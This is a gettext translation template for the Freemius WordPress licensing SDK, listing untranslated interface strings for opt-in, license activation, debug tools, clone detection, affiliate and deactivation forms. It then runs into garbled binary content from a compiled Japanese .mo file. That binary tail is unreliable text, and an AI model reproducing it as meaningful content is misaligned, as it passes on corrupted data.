%s: module type (plugin, theme, or add-on) #: templates/connect.php:245 msgid "We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to." msgstr "" #: templates/connect.php:247 msgid "Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info." msgstr "" #: templates/connect.php:250 msgid "If you skip this, that's okay! %1$s will still work just fine." msgstr "" #: templates/connect.php:280 msgid "We're excited to introduce the Freemius network-level integration." msgstr "" #: templates/connect.php:283 msgid "During the update process we detected %d site(s) that are still pending license activation." msgstr "" #: templates/connect.php:285 msgid "If you'd like to use the %s on those sites, please enter your license key below and click the activation button." msgstr "" #: templates/connect.php:287 msgid "%s's paid features" msgstr "" #: templates/connect.php:292 msgid "Alternatively, you can skip it for now and activate the license later, in your %s's network-level Account page." msgstr "" #: templates/connect.php:294 msgid "During the update process we detected %s site(s) in the network that are still pending your attention." msgstr "" #: templates/connect.php:303, templates/forms/data-debug-mode.php:35, templates/forms/license-activation.php:42 msgid "License key" msgstr "" #: templates/connect.php:306, templates/forms/license-activation.php:22 msgid "Can't find your license key?" msgstr "" #: templates/connect.php:369, templates/connect.php:693, templates/forms/deactivation/retry-skip.php:20 msgctxt "verb" msgid "Skip" msgstr "" #: templates/connect.php:372 msgid "Delegate to Site Admins" msgstr "" #: templates/connect.php:372 msgid "If you click it, this decision will be delegated to the sites administrators." msgstr "" #: templates/connect.php:399 msgid "License issues?" msgstr "" #: templates/connect.php:423 msgid "For delivery of security & feature updates, and license management, %s needs to" msgstr "" #: templates/connect.php:428 msgid "This will allow %s to" msgstr "" #: templates/connect.php:443 msgid "Don't have a license key?" msgstr "" #: templates/connect.php:446 msgid "Have a license key?" msgstr "" #: templates/connect.php:454 msgid "Freemius is our licensing and software updates engine" msgstr "" #: templates/connect.php:457 msgid "Privacy Policy" msgstr "" #: templates/connect.php:459 msgid "License Agreement" msgstr "" #: templates/connect.php:459 msgid "Terms of Service" msgstr "" #: templates/connect.php:879 msgctxt "as in the process of sending an email" msgid "Sending email" msgstr "" #: templates/connect.php:880 msgctxt "as activating plugin" msgid "Activating" msgstr "" #: templates/contact.php:78 msgid "Contact" msgstr "" #: templates/debug.php:17 msgctxt "as turned off" msgid "Off" msgstr "" #: templates/debug.php:18 msgctxt "as turned on" msgid "On" msgstr "" #: templates/debug.php:24 msgid "SDK" msgstr "" #: templates/debug.php:28 msgctxt "as code debugging" msgid "Debugging" msgstr "" #: templates/debug.php:58, templates/debug.php:279, templates/debug.php:415, templates/debug.php:580 msgid "Actions" msgstr "" #: templates/debug.php:68 msgid "Are you sure you want to delete all Freemius data?" msgstr "" #: templates/debug.php:68 msgid "Delete All Accounts" msgstr "" #: templates/debug.php:75 msgid "Clear API Cache" msgstr "" #: templates/debug.php:83 msgid "Clear Updates Transients" msgstr "" #: templates/debug.php:92 msgid "Reset Deactivation Snoozing" msgstr "" #: templates/debug.php:100 msgid "Sync Data From Server" msgstr "" #: templates/debug.php:109 msgid "Migrate Options to Network" msgstr "" #: templates/debug.php:114 msgid "Load DB Option" msgstr "" #: templates/debug.php:117 msgid "Set DB Option" msgstr "" #: templates/debug.php:211 msgid "Key" msgstr "" #: templates/debug.php:212 msgid "Value" msgstr "" #: templates/debug.php:228 msgctxt "as software development kit versions" msgid "SDK Versions" msgstr "" #: templates/debug.php:233 msgid "SDK Path" msgstr "" #: templates/debug.php:234, templates/debug.php:273 msgid "Module Path" msgstr "" #: templates/debug.php:235 msgid "Is Active" msgstr "" #: templates/debug.php:263, templates/debug/plugins-themes-sync.php:35 msgid "Plugins" msgstr "" #: templates/debug.php:263, templates/debug/plugins-themes-sync.php:56 msgid "Themes" msgstr "" #: templates/debug.php:268, templates/debug.php:409, templates/debug.php:517, templates/debug/scheduled-crons.php:80 msgid "Slug" msgstr "" #: templates/debug.php:270, templates/debug.php:516 msgid "Title" msgstr "" #: templates/debug.php:271 msgctxt "as application program interface" msgid "API" msgstr "" #: templates/debug.php:272 msgid "Freemius State" msgstr "" #: templates/debug.php:276 msgid "Network Blog" msgstr "" #: templates/debug.php:277 msgid "Network User" msgstr "" #: templates/debug.php:323 msgctxt "as connection was successful" msgid "Connected" msgstr "" #: templates/debug.php:325 msgctxt "as connection blocked" msgid "Blocked" msgstr "" #: templates/debug.php:326 msgctxt "API connectivity state is unknown" msgid "Unknown" msgstr "" #: templates/debug.php:362 msgid "Simulate Trial Promotion" msgstr "" #: templates/debug.php:374 msgid "Simulate Network Upgrade" msgstr "" #: templates/debug.php:398 msgid "%s Installs" msgstr "" #: templates/debug.php:400 msgctxt "like websites" msgid "Sites" msgstr "" #: templates/debug.php:406, templates/account/partials/site.php:156 msgid "Blog ID" msgstr "" #: templates/debug.php:411 msgid "License ID" msgstr "" #: templates/debug.php:497, templates/debug.php:603, templates/account/partials/addon.php:440 msgctxt "verb" msgid "Delete" msgstr "" #: templates/debug.php:511 msgid "Add Ons of module %s" msgstr "" #: templates/debug.php:570 msgid "Users" msgstr "" #: templates/debug.php:577 msgid "Verified" msgstr "" #: templates/debug.php:619 msgid "%s Licenses" msgstr "" #: templates/debug.php:624 msgid "Plugin ID" msgstr "" #: templates/debug.php:626 msgid "Plan ID" msgstr "" #: templates/debug.php:627 msgid "Quota" msgstr "" #: templates/debug.php:628 msgid "Activated" msgstr "" #: templates/debug.php:629 msgid "Blocking" msgstr "" #: templates/debug.php:630, templates/debug.php:701, templates/debug/logger.php:22 msgid "Type" msgstr "" #: templates/debug.php:632 msgctxt "as expiration date" msgid "Expiration" msgstr "" #: templates/debug.php:660 msgid "Debug Log" msgstr "" #: templates/debug.php:664 msgid "All Types" msgstr "" #: templates/debug.php:671 msgid "All Requests" msgstr "" #: templates/debug.php:676, templates/debug.php:705, templates/debug/logger.php:25 msgid "File" msgstr "" #: templates/debug.php:677, templates/debug.php:703, templates/debug/logger.php:23 msgid "Function" msgstr "" #: templates/debug.php:678 msgid "Process ID" msgstr "" #: templates/debug.php:679 msgid "Logger" msgstr "" #: templates/debug.php:680, templates/debug.php:704, templates/debug/logger.php:24 msgid "Message" msgstr "" #: templates/debug.php:682 msgid "Filter" msgstr "" #: templates/debug.php:690 msgid "Download" msgstr "" #: templates/debug.php:706, templates/debug/logger.php:26 msgid "Timestamp" msgstr "" #: templates/secure-https-header.php:28 msgid "Secure HTTPS %s page, running from an external domain" msgstr "" #: includes/customizer/class-fs-customizer-support-section.php:55, templates/plugin-info/features.php:43 msgid "Support" msgstr "" #: includes/debug/class-fs-debug-bar-panel.php:48, templates/debug/api-calls.php:54, templates/debug/logger.php:62 msgctxt "milliseconds" msgid "ms" msgstr "" #: includes/debug/debug-bar-start.php:41 msgid "Freemius API" msgstr "" #: includes/debug/debug-bar-start.php:42 msgid "Requests" msgstr "" #: includes/managers/class-fs-clone-manager.php:839 msgid "Invalid clone resolution action." msgstr "" #: includes/managers/class-fs-clone-manager.php:1024 msgid "products" msgstr "" #: includes/managers/class-fs-clone-manager.php:1205 msgid "%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s." msgstr "" #: includes/managers/class-fs-clone-manager.php:1211 msgid "The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$s" msgstr "" #: includes/managers/class-fs-clone-manager.php:1212 msgid "The products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$s" msgstr "" #: includes/managers/class-fs-clone-manager.php:1238 msgid "the above-mentioned sites" msgstr "" #: includes/managers/class-fs-clone-manager.php:1251 msgid "Is %2$s a duplicate of %4$s?" msgstr "" #: includes/managers/class-fs-clone-manager.php:1252 msgid "Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development." msgstr "" #: includes/managers/class-fs-clone-manager.php:1257 msgid "Long-Term Duplicate" msgstr "" #: includes/managers/class-fs-clone-manager.php:1262 msgid "Duplicate Website" msgstr "" #: includes/managers/class-fs-clone-manager.php:1268 msgid "Is %2$s the new home of %4$s?" msgstr "" #: includes/managers/class-fs-clone-manager.php:1270 msgid "Yes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s." msgstr "" #: includes/managers/class-fs-clone-manager.php:1271, templates/forms/subscription-cancellation.php:52 msgid "license" msgstr "" #: includes/managers/class-fs-clone-manager.php:1271 msgid "data" msgstr "" #: includes/managers/class-fs-clone-manager.php:1277 msgid "Migrate License" msgstr "" #: includes/managers/class-fs-clone-manager.php:1278 msgid "Migrate" msgstr "" #: includes/managers/class-fs-clone-manager.php:1284 msgid "Is %2$s a new website?" msgstr "" #: includes/managers/class-fs-clone-manager.php:1285 msgid "Yes, %2$s is a new and different website that is separate from %4$s." msgstr "" #: includes/managers/class-fs-clone-manager.php:1287 msgid "It requires license activation." msgstr "" #: includes/managers/class-fs-clone-manager.php:1294 msgid "New Website" msgstr "" #: includes/managers/class-fs-clone-manager.php:1319 msgctxt "Clone resolution admin notice products list label" msgid "Products" msgstr "" #: includes/managers/class-fs-clone-manager.php:1408 msgid "You marked this website, %s, as a temporary duplicate of %s." msgstr "" #: includes/managers/class-fs-clone-manager.php:1409 msgid "You marked this website, %s, as a temporary duplicate of these sites" msgstr "" #: includes/managers/class-fs-clone-manager.php:1423 msgid "%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first)." msgstr "" #: includes/managers/class-fs-clone-manager.php:1426 msgctxt "\"The \", e.g.: \"The plugin\"" msgid "The %s's" msgstr "" #: includes/managers/class-fs-clone-manager.php:1429 msgid "The following products'" msgstr "" #: includes/managers/class-fs-clone-manager.php:1437 msgid "If this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s." msgstr "" #: includes/managers/class-fs-clone-manager.php:1439 msgid "activate a license here" msgstr "" #: includes/managers/class-fs-permission-manager.php:191 msgid "View Basic Website Info" msgstr "" #: includes/managers/class-fs-permission-manager.php:192 msgid "Homepage URL & title, WP & PHP versions, and site language" msgstr "" #: includes/managers/class-fs-permission-manager.php:195 msgid "To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to." msgstr "" #: includes/managers/class-fs-permission-manager.php:207 msgid "View Basic %s Info" msgstr "" #: includes/managers/class-fs-permission-manager.php:210 msgid "Current %s & SDK versions, and if active or uninstalled" msgstr "" #: includes/managers/class-fs-permission-manager.php:261 msgid "View License Essentials" msgstr "" #: includes/managers/class-fs-permission-manager.php:262 msgstr "" #: includes/managers/class-fs-permission-manager.php:272 msgid "To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize." msgstr "" #: includes/managers/class-fs-permission-manager.php:284 msgid "View %s State" msgstr "" #: includes/managers/class-fs-permission-manager.php:287 msgid "Is active, deactivated, or uninstalled" msgstr "" #: includes/managers/class-fs-permission-manager.php:290 msgid "So you can reuse the license when the %s is no longer active." msgstr "" #: includes/managers/class-fs-permission-manager.php:326 msgid "View Diagnostic Info" msgstr "" #: includes/managers/class-fs-permission-manager.php:326, includes/managers/class-fs-permission-manager.php:363 msgid "optional" msgstr "" #: includes/managers/class-fs-permission-manager.php:327 msgid "WordPress & PHP versions, site language & title" msgstr "" #: includes/managers/class-fs-permission-manager.php:330 msgid "To avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to." msgstr "" #: includes/managers/class-fs-permission-manager.php:363 msgid "View Plugins & Themes List" msgstr "" #: includes/managers/class-fs-permission-manager.php:364 msgid "Names, slugs, versions, and if active or not" msgstr "" #: includes/managers/class-fs-permission-manager.php:365 msgid "To ensure compatibility and avoid conflicts with your installed plugins and themes." msgstr "" #: includes/managers/class-fs-permission-manager.php:382 msgid "View Basic Profile Info" msgstr "" #: includes/managers/class-fs-permission-manager.php:383 msgid "Your WordPress user's: first & last name, and email address" msgstr "" #: includes/managers/class-fs-permission-manager.php:384 msgid "Never miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features." msgstr "" #: includes/managers/class-fs-permission-manager.php:405 msgid "Newsletter" msgstr "" #: includes/managers/class-fs-permission-manager.php:406 msgid "Updates, announcements, marketing, no spam" msgstr "" #: templates/account/billing.php:22 msgctxt "verb" msgid "Update" msgstr "" #: templates/account/billing.php:33 msgid "Billing" msgstr "" #: templates/account/billing.php:38, templates/account/billing.php:38 msgid "Business name" msgstr "" #: templates/account/billing.php:39, templates/account/billing.php:39 msgid "Tax / VAT ID" msgstr "" #: templates/account/billing.php:42, templates/account/billing.php:42, templates/account/billing.php:43, templates/account/billing.php:43 msgid "Address Line %d" msgstr "" #: templates/account/billing.php:46, templates/account/billing.php:46 msgid "City" msgstr "" #: templates/account/billing.php:46, templates/account/billing.php:46 msgid "Town" msgstr "" #: templates/account/billing.php:47, templates/account/billing.php:47 msgid "ZIP / Postal Code" msgstr "" #: templates/account/billing.php:302 msgid "Country" msgstr "" #: templates/account/billing.php:304 msgid "Select Country" msgstr "" #: templates/account/billing.php:311, templates/account/billing.php:312 msgid "State" msgstr "" #: templates/account/billing.php:311, templates/account/billing.php:312 msgid "Province" msgstr "" #: templates/account/payments.php:29 msgid "Payments" msgstr "" #: templates/account/payments.php:36 msgid "Date" msgstr "" #: templates/account/payments.php:37 msgid "Amount" msgstr "" #: templates/account/payments.php:38, templates/account/payments.php:50 msgid "Invoice" msgstr "" #: templates/connect/permissions-group.php:31, templates/forms/optout.php:26, templates/js/permissions.php:78 msgctxt "verb" msgid "Opt Out" msgstr "" #: templates/connect/permissions-group.php:32, templates/js/permissions.php:77 msgctxt "verb" msgid "Opt In" msgstr "" #: templates/debug/api-calls.php:56 msgid "API" msgstr "" #: templates/debug/api-calls.php:68 msgid "Method" msgstr "" #: templates/debug/api-calls.php:69 msgid "Code" msgstr "" #: templates/debug/api-calls.php:70 msgid "Length" msgstr "" #: templates/debug/api-calls.php:71 msgctxt "as file/folder path" msgid "Path" msgstr "" #: templates/debug/api-calls.php:73 msgid "Body" msgstr "" #: templates/debug/api-calls.php:75 msgid "Result" msgstr "" #: templates/debug/api-calls.php:76 msgid "Start" msgstr "" #: templates/debug/api-calls.php:77 msgid "End" msgstr "" #: templates/debug/logger.php:15 msgid "Log" msgstr "" #. translators: %s: time period (e.g. In "2 hours") #: templates/debug/plugins-themes-sync.php:18, templates/debug/scheduled-crons.php:91 msgid "In %s" msgstr "" #. translators: %s: time period (e.g. "2 hours" ago) #: templates/debug/plugins-themes-sync.php:20, templates/debug/scheduled-crons.php:93 msgid "%s ago" msgstr "" #: templates/debug/plugins-themes-sync.php:21, templates/debug/scheduled-crons.php:74 msgctxt "seconds" msgid "sec" msgstr "" #: templates/debug/plugins-themes-sync.php:23 msgid "Plugins & Themes Sync" msgstr "" #: templates/debug/plugins-themes-sync.php:28 msgid "Total" msgstr "" #: templates/debug/plugins-themes-sync.php:29, templates/debug/scheduled-crons.php:84 msgid "Last" msgstr "" #: templates/debug/scheduled-crons.php:76 msgid "Scheduled Crons" msgstr "" #: templates/debug/scheduled-crons.php:81 msgid "Module" msgstr "" #: templates/debug/scheduled-crons.php:82 msgid "Module Type" msgstr "" #: templates/debug/scheduled-crons.php:83 msgid "Cron Type" msgstr "" #: templates/debug/scheduled-crons.php:85 msgid "Next" msgstr "" #: templates/forms/affiliation.php:83 msgid "Non-expiring" msgstr "" #: templates/forms/affiliation.php:86 msgid "Apply to become an affiliate" msgstr "" #: templates/forms/affiliation.php:108 msgid "Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s." msgstr "" #: templates/forms/affiliation.php:123 msgid "Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information." msgstr "" #: templates/forms/affiliation.php:126 msgid "Your affiliation account was temporarily suspended." msgstr "" #: templates/forms/affiliation.php:129 msgid "Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days." msgstr "" #: templates/forms/affiliation.php:132 msgid "Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support." msgstr "" #: templates/forms/affiliation.php:145 msgid "Like the %s? Become our ambassador and earn cash ;-)" msgstr "" #: templates/forms/affiliation.php:146 msgid "Refer new customers to our %s and earn %s commission on each successful sale you refer!" msgstr "" #: templates/forms/affiliation.php:149 msgid "Program Summary" msgstr "" #: templates/forms/affiliation.php:151 msgid "%s commission when a customer purchases a new license." msgstr "" #: templates/forms/affiliation.php:153 msgid "Get commission for automated subscription renewals." msgstr "" #: templates/forms/affiliation.php:156 msgid "%s tracking cookie after the first visit to maximize earnings potential." msgstr "" #: templates/forms/affiliation.php:159 msgid "Unlimited commissions." msgstr "" #: templates/forms/affiliation.php:161 msgid "%s minimum payout amount." msgstr "" #: templates/forms/affiliation.php:162 msgid "Payouts are in USD and processed monthly via PayPal." msgstr "" #: templates/forms/affiliation.php:163 msgid "As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days." msgstr "" #: templates/forms/affiliation.php:166 msgid "Affiliate" msgstr "" #: templates/forms/affiliation.php:169, templates/forms/resend-key.php:23 msgid "Email address" msgstr "" #: templates/forms/affiliation.php:173 msgid "Full name" msgstr "" #: templates/forms/affiliation.php:177 msgid "PayPal account email address" msgstr "" #: templates/forms/affiliation.php:181 msgid "Where are you going to promote the %s?" msgstr "" #: templates/forms/affiliation.php:183 msgid "Enter the domain of your website or other websites from where you plan to promote the %s." msgstr "" #: templates/forms/affiliation.php:185 msgid "Add another domain" msgstr "" #: templates/forms/affiliation.php:189 msgid "Extra Domains" msgstr "" #: templates/forms/affiliation.php:190 msgid "Extra domains where you will be marketing the product from." msgstr "" #: templates/forms/affiliation.php:200 msgid "Promotion methods" msgstr "" #: templates/forms/affiliation.php:203 msgid "Social media (Facebook, Twitter, etc.)" msgstr "" #: templates/forms/affiliation.php:207 msgid "Mobile apps" msgstr "" #: templates/forms/affiliation.php:211 msgid "Website, email, and social media statistics (optional)" msgstr "" #: templates/forms/affiliation.php:214 msgid "Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential)." msgstr "" #: templates/forms/affiliation.php:218 msgid "How will you promote us?" msgstr "" #: templates/forms/affiliation.php:221 msgid "Please provide details on how you intend to promote %s (please be as specific as possible)." msgstr "" #: templates/forms/affiliation.php:233, templates/forms/resend-key.php:22, templates/account/partials/disconnect-button.php:92 msgid "Cancel" msgstr "" #: templates/forms/affiliation.php:235 msgid "Become an affiliate" msgstr "" #: templates/forms/data-debug-mode.php:25 msgid "Please enter the license key to enable the debug mode:" msgstr "" #: templates/forms/data-debug-mode.php:27 msgid "To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your \"My Profile\" section of your User Dashboard:" msgstr "" #: templates/forms/data-debug-mode.php:32 msgid "Submit" msgstr "" #: templates/forms/data-debug-mode.php:36 msgid "User key" msgstr "" #: templates/forms/email-address-update.php:32 msgid "Email address update" msgstr "" #: templates/forms/email-address-update.php:33, templates/forms/user-change.php:81 msgctxt "close window" msgid "Dismiss" msgstr "" #: templates/forms/email-address-update.php:38 msgid "Enter the new email address" msgstr "" #: templates/forms/email-address-update.php:42 msgid "Are both %s and %s your email addresses?" msgstr "" #: templates/forms/email-address-update.php:50 msgid "Yes - both addresses are mine" msgstr "" #: templates/forms/email-address-update.php:57 msgid "%s is my client's email address" msgstr "" #: templates/forms/email-address-update.php:66 msgid "%s is my email address" msgstr "" #: templates/forms/email-address-update.php:75 msgid "Would you like to merge %s into %s?" msgstr "" #: templates/forms/email-address-update.php:84 msgid "Yes - move all my data and assets from %s to %s" msgstr "" #: templates/forms/email-address-update.php:94 msgid "No - only move this site's data to %s" msgstr "" #: templates/forms/email-address-update.php:292, templates/forms/email-address-update.php:298 msgid "Update" msgstr "" #: templates/forms/license-activation.php:23 msgid "Please enter the license key that you received in the email right after the purchase:" msgstr "" #: templates/forms/license-activation.php:28 msgid "Update License" msgstr "" #: templates/forms/license-activation.php:34 msgid "The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license." msgstr "" #: templates/forms/license-activation.php:39 msgid "Agree & Activate License" msgstr "" #: templates/forms/license-activation.php:204 msgid "Associate with the license owner's account." msgstr "" #: templates/forms/optout.php:44 msgid "Communication" msgstr "" #: templates/forms/optout.php:56 msgid "Stay Connected" msgstr "" #: templates/forms/optout.php:61 msgid "Diagnostic Info" msgstr "" #: templates/forms/optout.php:77 msgid "Keep Sharing" msgstr "" #: templates/forms/optout.php:82 msgid "Extensions" msgstr "" #: templates/forms/optout.php:104 msgid "Keep automatic updates" msgstr "" #: templates/forms/premium-versions-upgrade-handler.php:40 msgid "There is a new version of %s available." msgstr "" #: templates/forms/premium-versions-upgrade-handler.php:41 msgid " %s to access version %s security & feature updates, and support." msgstr "" #: templates/forms/premium-versions-upgrade-handler.php:54 msgid "New Version Available" msgstr "" #: templates/forms/premium-versions-upgrade-handler.php:75 msgctxt "close a window" msgid "Dismiss" msgstr "" #: templates/forms/resend-key.php:21 msgid "Send License Key" msgstr "" #: templates/forms/resend-key.php:58 msgid "Enter the email address you've used during the purchase and we will resend you the license key." msgstr "" #: templates/forms/resend-key.php:59 msgid "Enter the email address you've used for the upgrade below and we will resend you the license key." msgstr "" #: templates/forms/subscription-cancellation.php:37 msgid "Deactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site." msgstr "" #: templates/forms/subscription-cancellation.php:47 msgid "In case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?" msgstr "" #: templates/forms/subscription-cancellation.php:57 msgid "Cancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site." msgstr "" #: templates/forms/subscription-cancellation.php:68 msgid "Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support." msgstr "" #: templates/forms/subscription-cancellation.php:103 msgid "Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license." msgstr "" #: templates/forms/subscription-cancellation.php:136 msgid "Cancel %s?" msgstr "" #: templates/forms/subscription-cancellation.php:143 msgid "Proceed" msgstr "" #: templates/forms/subscription-cancellation.php:191, templates/forms/deactivation/form.php:216 msgid "Cancel %s & Proceed" msgstr "" #: templates/forms/trial-start.php:22 msgid "You are 1-click away from starting your %1$s-day free trial of the %2$s plan." msgstr "" #: templates/forms/trial-start.php:28 msgid "For compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial." msgstr "" #: templates/forms/user-change.php:26 msgid "By changing the user, you agree to transfer the account ownership to:" msgstr "" #: templates/forms/user-change.php:28 msgid "I Agree - Change User" msgstr "" #: templates/forms/user-change.php:30 msgid "Enter email address" msgstr "" #: templates/js/permissions.php:337, templates/js/permissions.php:485 msgid "Saved" msgstr "" #: templates/js/style-premium-theme.php:39 msgid "Premium" msgstr "" #: templates/js/style-premium-theme.php:42 msgid "Beta" msgstr "" #: templates/partials/network-activation.php:32 msgid "Activate license on all sites in the network." msgstr "" #: templates/partials/network-activation.php:33 msgid "Apply on all sites in the network." msgstr "" #: templates/partials/network-activation.php:36 msgid "Activate license on all pending sites." msgstr "" #: templates/partials/network-activation.php:37 msgid "Apply on all pending sites." msgstr "" #: templates/partials/network-activation.php:45, templates/partials/network-activation.php:79 msgid "allow" msgstr "" #: templates/partials/network-activation.php:48, templates/partials/network-activation.php:82 msgid "delegate" msgstr "" #: templates/partials/network-activation.php:52, templates/partials/network-activation.php:86 msgid "skip" msgstr "" #: templates/plugin-info/description.php:72, templates/plugin-info/screenshots.php:31 msgid "Click to view full-size screenshot %d" msgstr "" #: templates/plugin-info/features.php:56 msgid "Unlimited Updates" msgstr "" #: templates/account/partials/activate-license-button.php:46 msgid "Localhost" msgstr "" #: templates/account/partials/activate-license-button.php:50 msgctxt "as 5 licenses left" msgid "%s left" msgstr "" #: templates/account/partials/activate-license-button.php:51 msgid "Last license" msgstr "" #. translators: %1$s: Either 'Downgrading your plan' or 'Cancelling the subscription' #: templates/account/partials/addon.php:34 msgid "%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s." msgstr "" #: templates/account/partials/addon.php:190 msgid "Cancelled" msgstr "" #: templates/account/partials/addon.php:200 msgid "No expiration" msgstr "" #: templates/account/partials/disconnect-button.php:74 msgid "By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s." msgstr "" #: templates/account/partials/disconnect-button.php:78 msgid "Disconnecting the website will permanently remove %s from your User Dashboard's account." msgstr "" #: templates/account/partials/disconnect-button.php:84 msgid "If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there." msgstr "" #: templates/account/partials/disconnect-button.php:88 msgid "Are you sure you would like to proceed with the disconnection?" msgstr "" #: templates/account/partials/site.php:190 msgid "Owner Name" msgstr "" #: templates/account/partials/site.php:202 msgid "Owner Email" msgstr "" #: templates/account/partials/site.php:214 msgid "Owner ID" msgstr "" #: templates/account/partials/site.php:288 msgid "Subscription" msgstr "" #: templates/forms/deactivation/contact.php:19 msgid "Sorry for the inconvenience and we are here to help if you give us a chance." msgstr "" #: templates/forms/deactivation/contact.php:22 msgid "Contact Support" msgstr "" #: templates/forms/deactivation/form.php:65 msgid "Anonymous feedback" msgstr "" #: templates/forms/deactivation/form.php:71 msgid "hour" msgstr "" #: templates/forms/deactivation/form.php:76 msgid "hours" msgstr "" #: templates/forms/deactivation/form.php:81, templates/forms/deactivation/form.php:86 msgid "days" msgstr "" #: templates/forms/deactivation/form.php:106 msgid "Deactivate" msgstr "" #: templates/forms/deactivation/form.php:108 msgid "Activate %s" msgstr "" #: templates/forms/deactivation/form.php:111 msgid "Submit & %s" msgstr "" #: templates/forms/deactivation/form.php:130 msgid "Quick Feedback" msgstr "" #: templates/forms/deactivation/form.php:134 msgid "If you have a moment, please let us know why you are %s" msgstr "" #: templates/forms/deactivation/form.php:134 msgid "deactivating" msgstr "" #: templates/forms/deactivation/form.php:134 msgid "switching" msgstr "" #: templates/forms/deactivation/form.php:448 msgid "Kindly tell us the reason so we can improve." msgstr "" #: templates/forms/deactivation/form.php:478 msgid "Snooze & %s" msgstr "" #: templates/forms/deactivation/form.php:638 msgid "Yes - %s" msgstr "" #: templates/forms/deactivation/form.php:645 msgid "Skip & %s" msgstr "" #: templates/forms/deactivation/retry-skip.php:21 msgid "Click here to use the plugin anonymously" msgstr "" #: templates/forms/deactivation/retry-skip.php:23 msgid "You might have missed it, but you don't have to share any data and can just %s the opt-in." msgstr "" vendor/freemius/languages/freemius-ja.mo000064400000136357147600365160014421 0ustar00<\x(Sy(%( ( ( ))6%)\)_*#q** * * ******H*C+OV++++++ +++,&,->,l, ,,,,,,5,-- - )-'5-]- v- --o-...."./2#/!V/ax/0/ 0040C0K0_0g0p0x0 }00000 0 0Y0H1W1 h1t1}111(111%2:,2g2l2}22 2 222 22 222 3 33333344%4D4 `4k4[5f_55 55Y5a86666 6 6;6 7%7,7+8 08 ;8 H8U8jd88 8838%9~99U9:*:C:)^:-::S:;'6;^;Ma;7;g;pO<<<< < ==4=G= O=1Y=.=O= >A>y>F?af??B?,@<@ A@ N@[@y@ @@@ @ @@@4@A 'A1A5AL&CLLjLfLM $M0MAM GM SM`M hMvM MMM@N/NO)'O QO \O\gOOOOC POPePPd Q-pQQ QQ'QMQG.R vRRRRRRERRRSS-S4S*CSnS*vS^STTTdTyT TT TTTiTW:U"UBU6U/V DVRV-cVVV&VVW W$WM8WW/WW>W'X&>XZeXTXRY.hY.Y9YZZ3[Z<ZbZP/[U[_[6\K\(]GF]#])]$])^+^=^Z^;o^6^>^!_'_B_b_$x_____& `*4`7_````3`a.aDa\apa*a1aab#b>bZblb |bbbb bbNb9cXcvcccc1cc d d &d 1d>d VdCbddQdd ee2e EeQe `e je te e e e e e e ee3si6iiij jk$jjzk$l6lTlllul~l l lllnlmk)mmmmm mmm$n,nEHnZnnoo +oLo ko xoaoo oopE'p'mpppppqqOr3nrQr$rAs%[sjsTsAtTtmt tt tt ttt1tu*-u3Xu!uuu_vxvvvvvBvEwAawKww w' x1x8xNxUx!qxxxx xxx yy!y!yz:z$Xz}z'z"zzz{}{m|||}}} 8~3B~ v~~~T~ I!kr ǀT+2c'X6$<܃0$Jo%6T9Mm܅J6?$d$("· 99<ovH*W~B E*T$Ռ] !k   $)ELh'KBBX \fK|Bȏ3 ?R>bDT gq U. CCM H< !9.Hh-^ߓ>Z!|:-ʖ$-$@ ery} f'$7\HlW H, uԙ  #0vOƚߚ& $ 2?Ws Bu֛$L q~!B$ '34 hu ;iН: !- IV'r >O/<!8*!-]3'أ3E y ;q٥tK ֦  ]l!Ƨاߧ92KH  ¨ Zg1wةߩ.yHZ«"@ W;x"׬A)7ah0ol ;$ `f*0Deׯr=NB=BKNbrfٳar3wT3449i3׷ ?K;  ȸ ظ6 B FSZmqx й׹ !3: ANU պ   $ 1> AK R\lup  1O_f|  ˼ҼG4@v_(I)j`f258zEBqd Y~Ah"av/  Xa7Uj|XgsWT+y9\@'y3K} _D-7[ pHhq\os/ rkFO)iRYw<2F+UB=H:lG=nM`1;60^P-x' %t?u}6kK5. S1mfWLE<tNw0*!"lN;#.gZ!QAJ[bZRniJ8L&M](>CcPzc>&?3V],eQu,4CS*%m#|d{e:xI{DV9 b^  ~rTOo$p $%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to 